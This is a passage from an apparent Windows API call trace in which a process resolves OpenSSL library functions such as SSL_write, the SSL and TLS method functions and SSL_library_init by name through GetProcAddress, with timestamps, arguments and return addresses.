lpProcName="SSL_peek") returned 0x12021a00 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_pending", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_pending", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_pending", lpUsedDefaultChar=0x0) returned 11 [0113.360] GetProcAddress (hModule=0x12000000, lpProcName="SSL_pending") returned 0x12021700 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_write", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_write", cchWideChar=9, lpMultiByteStr=0x7f2f6c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_write", lpUsedDefaultChar=0x0) returned 9 [0113.360] GetProcAddress (hModule=0x12000000, lpProcName="SSL_write") returned 0x12021a50 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_ctrl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_ctrl", cchWideChar=8, lpMultiByteStr=0x7f2f6c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_ctrl", lpUsedDefaultChar=0x0) returned 8 [0113.360] GetProcAddress (hModule=0x12000000, lpProcName="SSL_ctrl") returned 0x12021b30 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_callback_ctrl", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_callback_ctrl", cchWideChar=17, lpMultiByteStr=0x80849c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_callback_ctrl", lpUsedDefaultChar=0x0) returned 17 [0113.360] GetProcAddress (hModule=0x12000000, lpProcName="SSL_callback_ctrl") returned 0x12021d60 [0113.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_ctrl", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_ctrl", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_ctrl", lpUsedDefaultChar=0x0) returned 12 [0113.361] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_ctrl") returned 0x12021da0 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_callback_ctrl", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_callback_ctrl", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_callback_ctrl", lpUsedDefaultChar=0x0) returned 21 [0113.361] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_callback_ctrl") returned 0x12022020 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_error", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_error", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_get_error", lpUsedDefaultChar=0x0) returned 13 [0113.361] GetProcAddress (hModule=0x12000000, lpProcName="SSL_get_error") returned 0x12024930 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_method", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_method", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv2_method", lpUsedDefaultChar=0x0) returned 12 [0113.361] GetProcAddress (hModule=0x12000000, lpProcName="SSLv2_method") returned 0x12001000 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_server_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_server_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv2_server_method", lpUsedDefaultChar=0x0) returned 19 [0113.361] GetProcAddress (hModule=0x12000000, lpProcName="SSLv2_server_method") returned 0x12001000 [0113.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_client_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv2_client_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv2_client_method", lpUsedDefaultChar=0x0) returned 19 [0113.362] GetProcAddress (hModule=0x12000000, lpProcName="SSLv2_client_method") returned 0x12001000 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_method", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_method", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv3_method", lpUsedDefaultChar=0x0) returned 12 [0113.362] GetProcAddress (hModule=0x12000000, lpProcName="SSLv3_method") returned 0x12001030 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_server_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_server_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv3_server_method", lpUsedDefaultChar=0x0) returned 19 [0113.362] GetProcAddress (hModule=0x12000000, lpProcName="SSLv3_server_method") returned 0x120058e0 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_client_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv3_client_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv3_client_method", lpUsedDefaultChar=0x0) returned 19 [0113.362] GetProcAddress (hModule=0x12000000, lpProcName="SSLv3_client_method") returned 0x1200a7d0 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_method", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_method", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv23_method", lpUsedDefaultChar=0x0) returned 13 [0113.362] GetProcAddress (hModule=0x12000000, lpProcName="SSLv23_method") returned 0x12011b30 [0113.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_server_method", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_server_method", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv23_server_method", lpUsedDefaultChar=0x0) returned 20 [0113.364] GetProcAddress (hModule=0x12000000, lpProcName="SSLv23_server_method") returned 0x120123c0 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_client_method", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLv23_client_method", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLv23_client_method", lpUsedDefaultChar=0x0) returned 20 [0113.364] GetProcAddress (hModule=0x12000000, lpProcName="SSLv23_client_method") returned 0x12013060 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_method", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_method", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_method", lpUsedDefaultChar=0x0) returned 12 [0113.364] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_method") returned 0x120133e0 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_server_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_server_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_server_method", lpUsedDefaultChar=0x0) returned 19 [0113.364] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_server_method") returned 0x12013450 [0113.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_client_method", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_client_method", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_client_method", lpUsedDefaultChar=0x0) returned 19 [0113.365] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_client_method") returned 0x120134c0 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_method", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_method", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_1_method", lpUsedDefaultChar=0x0) returned 14 [0113.365] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_1_method") returned 0x12013390 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_server_method", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_server_method", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_1_server_method", lpUsedDefaultChar=0x0) returned 21 [0113.365] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_1_server_method") returned 0x12013400 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_client_method", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_1_client_method", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_1_client_method", lpUsedDefaultChar=0x0) returned 21 [0113.365] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_1_client_method") returned 0x12013470 [0113.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_method", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_method", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_2_method", lpUsedDefaultChar=0x0) returned 14 [0113.366] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_2_method") returned 0x12013380 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_server_method", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_server_method", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_2_server_method", lpUsedDefaultChar=0x0) returned 21 [0113.366] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_2_server_method") returned 0x120133f0 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_client_method", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TLSv1_2_client_method", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TLSv1_2_client_method", lpUsedDefaultChar=0x0) returned 21 [0113.366] GetProcAddress (hModule=0x12000000, lpProcName="TLSv1_2_client_method") returned 0x12013460 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_method", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_method", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DTLSv1_method", lpUsedDefaultChar=0x0) returned 13 [0113.366] GetProcAddress (hModule=0x12000000, lpProcName="DTLSv1_method") returned 0x1201ac30 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_server_method", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_server_method", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DTLSv1_server_method", lpUsedDefaultChar=0x0) returned 20 [0113.366] GetProcAddress (hModule=0x12000000, lpProcName="DTLSv1_server_method") returned 0x1201b900 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_client_method", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DTLSv1_client_method", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DTLSv1_client_method", lpUsedDefaultChar=0x0) returned 20 [0113.367] GetProcAddress (hModule=0x12000000, lpProcName="DTLSv1_client_method") returned 0x1201c3c0 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_shutdown", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_shutdown", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_shutdown", lpUsedDefaultChar=0x0) returned 12 [0113.367] GetProcAddress (hModule=0x12000000, lpProcName="SSL_shutdown") returned 0x120244e0 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_connect_state", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_connect_state", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_set_connect_state", lpUsedDefaultChar=0x0) returned 21 [0113.367] GetProcAddress (hModule=0x12000000, lpProcName="SSL_set_connect_state") returned 0x12024b10 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_accept_state", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_accept_state", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_set_accept_state", lpUsedDefaultChar=0x0) returned 20 [0113.367] GetProcAddress (hModule=0x12000000, lpProcName="SSL_set_accept_state") returned 0x12024ab0 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_shutdown", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0113.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_shutdown", cchWideChar=16, lpMultiByteStr=0x80849c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_set_shutdown", lpUsedDefaultChar=0x0) returned 16 [0113.368] GetProcAddress (hModule=0x12000000, lpProcName="SSL_set_shutdown") returned 0x12023930 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_load_verify_locations", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_load_verify_locations", cchWideChar=29, lpMultiByteStr=0x80f81c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_load_verify_locations", lpUsedDefaultChar=0x0) returned 29 [0113.368] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_load_verify_locations") returned 0x12023bd0 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_session", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_session", cchWideChar=15, lpMultiByteStr=0x7f2f6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_get_session", lpUsedDefaultChar=0x0) returned 15 [0113.368] GetProcAddress (hModule=0x12000000, lpProcName="SSL_get_session") returned 0x12021670 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_library_init", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_library_init", cchWideChar=16, lpMultiByteStr=0x80849c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_library_init", lpUsedDefaultChar=0x0) returned 16 [0113.368] GetProcAddress (hModule=0x12000000, lpProcName="SSL_library_init") returned 0x1202ed90 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_SESSION_get_id", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_SESSION_get_id", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_SESSION_get_id", lpUsedDefaultChar=0x0) returned 18 [0113.368] GetProcAddress (hModule=0x12000000, lpProcName="SSL_SESSION_get_id") returned 0x12026e30 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_copy_session_id", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_copy_session_id", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_copy_session_id", lpUsedDefaultChar=0x0) returned 19 [0113.369] GetProcAddress (hModule=0x12000000, lpProcName="SSL_copy_session_id") returned 0x12021780 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLeay_version", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLeay_version", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLeay_version", lpUsedDefaultChar=0x0) returned 14 [0113.369] GetProcAddress (hModule=0x11000000, lpProcName="SSLeay_version") returned 0x11003950 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLeay", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSLeay", cchWideChar=6, lpMultiByteStr=0x7fc13c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSLeay", lpUsedDefaultChar=0x0) returned 6 [0113.369] GetProcAddress (hModule=0x11000000, lpProcName="SSLeay") returned 0x11003990 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_X509_NAME", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_X509_NAME", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, 